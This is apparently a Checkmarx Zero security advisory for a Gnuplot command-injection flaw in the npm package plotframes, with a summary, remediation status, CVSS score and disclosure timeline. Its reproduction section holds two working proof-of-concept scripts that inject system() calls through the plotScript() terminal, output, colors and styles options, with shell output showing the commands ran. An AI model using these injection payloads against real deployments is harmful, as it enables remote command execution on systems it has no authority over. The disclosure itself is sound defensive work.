---
title: "CX-2021-4810"
date: "2021-04-28T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2021-4810/"
---

# CX-2021-4810

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

No CVE assigned  **Published:** Apr 28, 2021

9.8 Critical Severity Gnuplot javascript nodejs npm RCE

AS André Sá  Reported by Checkmarx Zero

Details Overview

## Summary

A Gnuplot Command Injection vulnerability was discovered in plotframes through  
several input options of the `plotScript()` function.

## Product

All versions of plotframes published on NPM as of now.

## Impact

It’s possible to inject malicious Gnuplot code, provided that the library is  
called with untrusted input options being passed on to the `plotScript()`  
function. And in turn, it’s possible to execute arbitrary OS commands through  
Gnuplot’s `system()` function — similar to  
[GHSA-cfwc-xjfp-44jg](https://github.com/advisories/GHSA-cfwc-xjfp-44jg),  
[NPM-1440](https://www.npmjs.com/advisories/1440).

## Steps to reproduce

The first PoC shared with the maintainer, for version 2.0.0:

```sh
$ rm -f PWND
$ ls -1
input.mp4
node_modules
package-lock.json
package.json
poc.js
$ cat poc.js
require('plotframes')
  .plotScript('input.mp4', function(err, res) {},
    {
      terminal: 'pngnsystem("echo PWND > PWND")',
      frames: false,
      stream: 0,
      colors:{
        I: '#00ffff',
        P: '#ff00ff',
        B: '#ffff00',
        A: '#2dff00',
        average: '#000000',
        bitrate: '#00ff00',
      },
      styles:{
        I: 'impulses',
        P: 'lines',
        B: 'lines',
        A: 'lines',
      }
    });
$ node poc.js
$ ls -1
PWND
input.mp4
node_modules
package-lock.json
package.json
poc.js
$ cat PWND
PWND
```

The second, more detailed, PoC shared with the maintainer, that contains all  
the vulnerable options I could find, for version 2.0.1:

```sh
$ rm -f PWND output.png
$ ls -1
input.mp4
node_modules
package-lock.json
package.json
poc.js
$ cat poc.js
require('plotframes')
  .plotScript('input.mp4', function(err, res) {},
    {
      /* Just to show that it's not possible to exploit through this option anymore */
      terminal: 'pngnsystem("echo TERMINAL >> PWND")',
      output: 'output.pngnsystem("echo OUTPUT >> PWND")',
      frames: false,
      stream: 'all',
      colors:{
        /* The comment ignores the closing quote and comma. */
        I: 'nsystem("echo COLORS_I >> PWND") #',
        P: 'nsystem("echo COLORS_P >> PWND") #',
        B: 'nsystem("echo COLORS_B >> PWND") #',
        A: 'nsystem("echo COLORS_A >> PWND") #',
        average: '#000000" lt 1 lw .5nsystem("echo COLORS_AVERAGE >> PWND") #',
        bitrate: '#00ff00" lt 1 lw 1.5nsystem("echo COLORS_BITRATE >> PWND") #',
      },
      styles:{
        /*
         * The comment ignores the `linecolor rbg ...` bit, and the comma.
         * The `e` on `I` closes the input of the `plot` command -- the others
         * don't have a `plot` to close.
         */
        I: 'linesnensystem("echo STYLES_I >> PWND") #',
        P: 'linesnsystem("echo STYLES_P >> PWND") #',
        B: 'linesnsystem("echo STYLES_B >> PWND") #',
        A: 'linesnsystem("echo STYLES_A >> PWND") #',
      }
    });
$ node poc.js >/dev/null 2>&1 & htop
[1] 5854
$ jobs
[1]+  Running                 node poc.js > /dev/null 2>&1 &
$ fg
node poc.js > /dev/null 2>&1
^C
$ ls -1
PWND
input.mp4
node_modules
output.png
package-lock.json
package.json
poc.js
$ cat PWND
OUTPUT
STYLES_I
COLORS_I
STYLES_P
COLORS_P
STYLES_B
COLORS_B
STYLES_A
COLORS_A
COLORS_AVERAGE
COLORS_BITRATE
```

The first PoC does indeed no longer work on version 2.0.1; however, the package  
is still vulnerable through the other options.

## Remediation

The `terminal` option has now been fixed and is safe to use in version 2.0.1 —  
albeit with more limited functionality than before. All other options exploited  
in the second PoC are vulnerable currently (up to 2.0.1). The maintainer hasn’t  
replied ever since I sent the second PoC.

## Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher  
[André Sá](https://www.linkedin.com/in/andre-m-sa).

## Resources

1. [Vulnerable function](https://github.com/rodrigopolo/plotframes/blob/6aef41c10871bbda28f4f56c175057e7b2167e20/main.js#L392)
2. [Fix for the `terminal` option](https://github.com/rodrigopolo/plotframes/commit/6aef41c10871bbda28f4f56c175057e7b2167e20)

0  Critical Severity CVSS v3.1 Score

   9.8

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High

Advisory Timeline1. Discovered Jan 27, 2021 Notified the project's maintainer
2. Apr 1, 2021 Acknowledgement — The maintainer acknowledged and tried to fix the vulnerability
3. Apr 14, 2021 Bypass — Notified the maintainer that the project is still vulnerable, and shared another PoC

## Explore more findings

[19 Nov 2026 CVE-2026-129292  PHP-FPM status endpoint XSS via unescaped user and script fields   5.3  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-129292/) [19 Nov 2026 CVE-2026-129538  PHP-CGI out-of-bounds read and write during PATH\_INFO correction   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-129538/) [22 Apr 2026 CVE-2026-42236  Unauthenticated Denial of Service in n8n via MCP Client Registration   8.7  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-4223/) [22 Apr 2026 CVE-2026-42230  n8n has Open Redirect in MCP OAuth Consent Flow   5.1  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-42230/) [27 Feb 2026 CVE-2026-27578  n8n Vulnerable to Stored XSS via Various Nodes   8.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-27578/) [26 Feb 2026 CVE-2026-27950  Use-after-free in FreeRDP SDL2   5.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-27950/) [27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/)
